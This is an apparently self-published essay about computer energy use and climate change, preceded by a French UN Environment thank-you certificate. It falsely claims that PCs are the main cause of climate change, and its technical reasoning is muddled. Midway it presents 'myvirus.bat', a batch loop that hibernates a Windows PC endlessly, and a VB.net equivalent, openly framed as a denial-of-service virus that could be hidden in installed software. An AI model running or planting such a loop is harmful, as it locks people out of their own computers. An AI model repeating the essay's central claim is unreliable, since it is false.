

Félicitations, vous êtes un héros / une héroïne de la Journée mondiale de l'environnement !

ONU Environnement souhaite remercier

Wadï Mami

de

Tunis, Tunisia

pour avoir participé aux efforts liés à la J**ournée mondiale de** l'environnement et pour avoir rejoint la lutte pour #CombattreLaPollutionDelAir.

L'équipe de la journée mondiale de l'environnement



Cogito, ergo sum Author : Wadï Mami Email : <u>wmami@steg.com.tn</u> Date : 01/07/2019

Abstract :

The main raison causing climate change is massive use of Pcs and Laptops all around the World. How? Indeed How much power does a computer use? And how much CO2 does that represent?¹.

How much power does a computer use? And how much CO2 does that represent?

The <u>power consumption</u> of a computer varies depending on whether it is a desktop or a laptop:

•A **desktop** uses an average of 200 W/hour when it is being used (loudspeakers and printer included). A computer that is on for eight hours a day uses almost 600 kWh and emits 175 kg of CO₂ per year.

• A **laptop** uses between 50 and 100 W/hour when it is being used, depending on the model. A laptop that is on for eight hours a day uses between 150 and 300 kWh and emits between 44 and 88 kg of CO_2 per year.

• In **stand-by mode** the power consumption of both a desktop and a laptop falls to about a third. This contributes to the 'vampire draw' of your household.

1 <u>https://www.energuide.be/en/questions-answers/how-much-power-does-a-computer-use-and-how-much-co2-does-that-represent/54/</u>

Remember that stand-by mode uses power, too!

The power consumption of a computer of course depends on the model and the way it is used. For instance, a laptop only uses a third as much as a desktop:

• A **complete desktop** uses an average of 200 Watt hours (Wh). This is the sum of the average consumption per hour of the computer itself (171 W), the internet modem (10 W), the printer (5 W) and the loudspeakers (20 W). Assuming that a computer is on for eight hours a day, the **annual consumption** comes to **600 kWh**. That corresponds to CO_2 emissions of about 175 kg per year, i.e. 1.75 % of the average annual emission of a Belgian.

•A **laptop** uses considerably less: between 50 and 100 Wh that it is on, depending on the model. If it is used for eight hours a day, consumption therefore varies **between 150 and 300 kWh/year**. That corresponds to CO₂ emissions of between 44 and 88 kg per year (or between 0.44 and 0.88 % of the average annual emission of a Belgian).

• On stand-by, the power consumption of both a desktop and a laptop computer falls to about a third. Putting the monitor on stand-by reduces its consumption by 15%. If the monitor is switched off completely, then of course it does not use any power.

• Although the internet is a virtual space, using it still requires power and results in CO_2 emissions. Think about it!

Some tips to save energy

1. Switch off the loudspeakers if you are not using them.

2. Switch off the printer when it's not needed.

- 3. Switch off the screen if you are not working on the PC just now.
- 4. Switch off your computer or put it in stand-by mode if you are not

going to work on your PC for more than 30 minutes. A multiple socket makes it easy to switch off all your computing equipment.

- 5. Use a laptop in preference to a desktop.
- 6. Switch off the modem at night.

My solution:

In fact people leave their Pcs running for nothing in order to return back and use their workspace desktop Apps fearing forgetting steps where they are if they close all and leave shut downing their

Pcs. Indeed hibernating pcs consume electricity energy and responsible of CO2gas emission too what is the solution?

The solution:

Is to execute a Dos command that works fine for Windows 2000/ XP/7/8/10.

Shutdown –h



All your desktop workspace will be saved and your pc shutdowns and you consume no more electricity wasted for nothing before, you can leave for a while one hour or two you save the planet by limiting CO2 Gas emission generated by electricity pc consumption and save your electricity bill.

But there is a but:

A code injection of malicious code in unknown third party software or even known open source software can lead to a catastrophy.

Here I share with you myvirus.bat file virus code it can be converted to .exe or .com

myvirus.bat code :

echo off rem clean screen cls rem definition return point :loop rem execute shutdown -h shutdown -h rem return to :loop goto loop

If you excuted it is your own risks don't put your blame on me if you excuted it is your own risks don't put your blame on me.

That kind of code can be hidden in software you use or you download and install. It works fine for windows 2000/XP/7/8/10.

Moreover here a VB.net equivalent code to the .bat DOS Shell above

A VB.net Source Code as an example It works fine for Windows XP/7/8/10.

Imports System.Runtime.InteropServices Module Module1 Sub Main() Dim process As Process = process.Start("cmd","/C shutdown -h") Main() End Sub

As you can see all high generation Languages can exploit this DOS command shutdown –h which leads to a DoS a denial of service well a denial of all the services as your Windows Pc is intact but you can't make use of it.

Shall we let this without a change or shall we change it for the actual Windows OS used and the next Windows OS generations?

The solution is as shutdown -h works fine since Windows 2000 is to disable its exeuction from the Dos shell like fdisk command, when you type it I mean fdisk in a Dos shell Windows the shell answers no such command. Shutdown must be ignored by the DOS shell as a command.

We can create; I mean Microsoft a patch an App software that keeps shutdown functionality I mean its C or Assembly Microsoft Windows code to be used by windows pc users when they

leave their pc for a while and disable using shutdown to be used as a command in a Dos shell.

The real solution for Climate Change

The real solution is not Nuclear Power Energy remember Fukushima Daiichi nuclear disaster 2011 and Tchernobyl 1986

The real solution is Solar Energy for Tunisia Algeria Morroco Mauritania Libya Egypt Saudia Arabia Yémen Iraq Syria Jordan UAE Qatar Bahreïn Kuwait Sultanate Omane IRan Pakistan Afghanistan China India Usa Brasil Mali Niger Sinegal Brief Wherever desert and Sun Shine.

But who cares?

Another solution that proves Windows is a kind of Unix Linux System is to return back to terminals I mean graphic Terminals.

